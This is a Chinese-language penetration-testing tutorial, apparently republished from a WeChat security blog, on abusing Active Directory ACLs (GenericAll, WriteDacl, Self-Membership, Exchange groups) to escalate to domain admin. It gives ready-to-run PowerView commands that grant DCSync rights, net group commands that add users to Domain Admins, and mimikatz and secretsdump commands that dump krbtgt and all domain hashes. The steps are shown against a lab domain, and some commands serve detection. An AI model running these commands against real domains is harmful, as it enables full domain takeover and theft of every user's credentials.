内网渗透 域ACL攻防
2022-7-11 13:28:35 Author: moonsec(查看原文) 阅读量:43 收藏

内网渗透 域ACL攻防

windows访问控制模型

在Active Directory中设置权限,其方式与在文件中设置权限的方式几乎相同。权限控制都是使用windows访问控制模型

windwos访问控制模型包含以下部分

1、访问令牌(Access Tolen)

2、包含用户的标识(User SID,Group SID S),以及特权列表

3、安全描述符(security identifiers)

4、被访问的安全对象的相关安全信息

这里的安全对象包括但不限于

· NTFS卷上的文件和目录

· 注册表项

· 网络共享

· 服务

· Active Directory对象

· 进程等

Access Token

access Token用于基于Token的认证模式,允许应用访问一个资源API。用户认证授权成功后,Authing会签发Access Token给应用。应用需要携带Access Token访问资源API,资源服务API会通过拦截器检查Access TOken中的scope字段是否包含特定的权限项目,从而决定是否返回资源

系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等信息

安全描述符

SID(Security Identifiers)即安全描述符

安全描述符标识对象的所有者,并包含以下访问控制列表

1、Discretionary Access Control List(DACL)自由访问控制列表

2、System Access Control List(SACL)系统访问控制列表

每一种控制列表中都存在若干条ACE(Access Control Entries)访问控制条目

查看domain user属性->安全->高级

安全描述符由Header、SID、DACL和SACL组成

ACE是针对特定用户或特定组的单个权限授予(或拒绝权力)的配置结构。ACE有许多不同类型,但是在Active Directory的权限中,只有四种不同的含义,两种分别用于授权和拒绝权限。

Access Mask

在ACE中有Access Mask这个字段,它代表着此条ACE所对应的权限,比如完全控制(GenericALl)、修改密码(RestPassword)、写入属性(WriteMembers)等等

Trustees

Trustees的意思为受委托人,受委托是一个ACE所应用到的用户账户,组账户或者是登录会话。也就是说,谁是一个ACE的受托者,那么这条ACE中的Access Mask所对应的权限(可能是拒绝可能是通过)就会赋予受托者

域里常见可利用的ACL

· GenericAll :授予目标对象的完全控制权,包括WriteDacl和WriteOwner特权。

· GenericWrite :此权限能够更新目标对象的属性值

· Self-Membership :这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)

· WriteProperty :WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限

· WriteOwner :WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,写入全部属性除了WriteProperty还包括了其他的权限

· WriteDacl :WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。

GenericAll

nami\users用户的权限

将nami\users权限设置完全控制

执行powershell命令查看test用户的GenericAll权限项,这些权限项对应的就是ACE的有效访问

.\SharpView.exe Get-ObjectAcl -SamAccountName test -ResolveGUIDs

在域控上设置test用户的DACL,添加nami用户对test的完全控制

再次查询test用户的DACL,就会发现ActiveDirectoryRights属性等于GenericAll的acl发现多了一条

Get-ObjectAcl -SamAccountName nami -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

这条ACL的含义是:

nami账户对test账户具有完全管理(GenericALL)权限

可以看到在设置DACL之前和之后的区别,设置ACL之后是立即生效的。然后使用runas命令就可以直接创建一个tset权限的cmd窗口:

拥有这个权限可直接DCSync,dump哈希

GenericAll on Group

GenericAll on Group 是对一个组有GenericAll权限,使用命令查看用户组

Get-NetGroup "domain admins"

此时nami和test均为域内普通权限用户,然后再管理员组domain admins的DACL中加入nami的GenericALL权限

完全控制权限

再次去查询使用命令查看domain admins的权限。可以看到一条SID为nami的SID,权限为GenericAll

Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC

然后尝试将test加入domain admins组

net group "domain admins" test /add /domain

net group "domain admins" test /del /domain

将nami的GenericAll权限在domain admins移出之后,再次执行就会被拒绝

拥有这个权限可直接DCSync,dump哈希

WriteDacl

WriteDacl允许委托人修改受影响对象DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。

当前拥有WriteDacl权限,没有DCSync权限。

Get-ObjectAcl -SamAccountName "nami" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}

自己向自己写入DSCync权限

powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity nami -Rights DCSync -Verbose}"

Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose

写入成功之后,直接dump哈希

Self (Self-Membership) on Group

这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)

可以把自身加入域管理员组

已经加入域管理员组

添加到管理员组,可以直接DCSync。

注意:添加到管理员组之后需要重新登录才可以DCSync

WriteProperty on Group

对一组具有WriteProperty权限的情况下,"写入全部属性"除了WriteProperty还包括了其他的权限

CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner

在Domain Admins组的列表中添加写入全部属性,会生成一条新的ACE,访问会被标记为特殊

添加ACE前后

同样加入到管理员组就可以DCSync

ACL相关的攻击方式-DCSync攻击

什么是DCSync?

在域环境中,不同域控制器(DC)之间,每15分钟都会有一次域数据的同步。当一个域控制器(DC1)想从其他域控制器(DC2)获取数据时,DC1会向DC2发起一个GetNCChanges请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述的过程。DCSync就是利用的这个原理,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。域控制器之间的数据同步复制

但是在2015 年 8 月份, Mimkatz新增了一个主要功能叫"DCSync",使用这项技术可以有效地 "模拟" 域控制器并从目标域控上请求域内用户密码hash

DCSync攻击的对象如果是只读域控制器(RODC),则会失效。因为RODC是不能参与复制同步数据到其他DC的

DCSync需要什么权限

一个域内用户想要通过DCSync获取krbtgt的HASH值需要在域对象或者域内的高权限组中有以下权限:

复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)

复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)

这几个权限在DACL的设置中可以看到

写入一个DCSync

在域控中给一个用户添加DCSync权限,使用powerviewer.ps1的Add-DomainObjectAcl函数实现

Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity win7 -Rights DCSync

powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity win7 -Rights DCSync -Verbose}"

在DACL这里新增了一条ACE

使用win7用户导出hash,这里不需要debug权限也可以直接dump哈希,因为DCSync去向域控发起请求,并非本地操作,为网络请求。

mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit"mimikatz.exe "lsadump::dcsync /user:all" "exit"mimikatz.exe "log Micropoor.txt"  "lsadump::dcsync /domain:nami.com /all /csv " "exit"

删除一个DCSync

powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"

Remove-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose

再次DSCync被拒绝

查询具有DCSync权限的用户

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "DS-Replication-Get-Changes"}Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "Replicating Directory Chan

使用Adfind查找

AdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmuteAdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute

我又增加了一个test用户

若拿到用户为以下组的用户,即可直接写入DCSync功能,从而dump哈希

Administrators组内的用户

domain admins组

enterprise admins组

域控制器的计算机账户

查看用户所具备的ACL

Get-DomainObjectAcl -Identity nami -domain nami.com -ResolveGUIDs

Exchange

Exchange 2019之前的版本

安装好exchange之后,Exchange会添加一个名为 Microsoft Exchange Security Groups ,其中包括几个特殊的组:

Exchange Trusted Subsystem

Exchange Windows Permission

Organization Management

如果获得了这三个组内任意用户的控制权限,就能够继承该组的WriteDACL权限,进而修改域对象的ACL。

默认情况下,Exchange Windows Permissions对安装Exchange的域对象具有WriteDacl权限,那么Exchange Trusted Subsystem也会继承这个权限

其中Exchange Trusted Subsystem是Exchange Windwos Permissions的成员

添加一个win7的成员,如果对域对象具有了WriteDACL权限,就能够为指定域用户添加ACE,其获得利用DCSync导出域内所有用户hash的权限

查看当前的权限

whoami /groups

或者使用命令添加一个用户到Exchange Trusted Subsystem组

net user test2 [email protected]123 /add /domainnet group "Exchange Trusted Subsystem" test2 /add /domainpython3 secretsdump.py nami/test2:[email protected]123@10.0.20.16 -just-dc-user krbtgt

装了Exchange2遍没装成功,,,

当有了WriteDacl权限之后就可以自己向自己写入一条ACE,上面有写到,然后就可以dcsync了

也可以参考这篇文章:

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83

关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

渗透培训

需要渗透测试培训联系暗月


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653579473&idx=1&sn=89d630a4d0f48bc0dcd98f8d6c976fd4&chksm=811b7e93b66cf785d8ff3ae3ab782dd91ca9d38eb8dbec9af1d1a3eb75c0aac93ff0dfd29f68#rd
如有侵权请联系:admin#unsafe.sh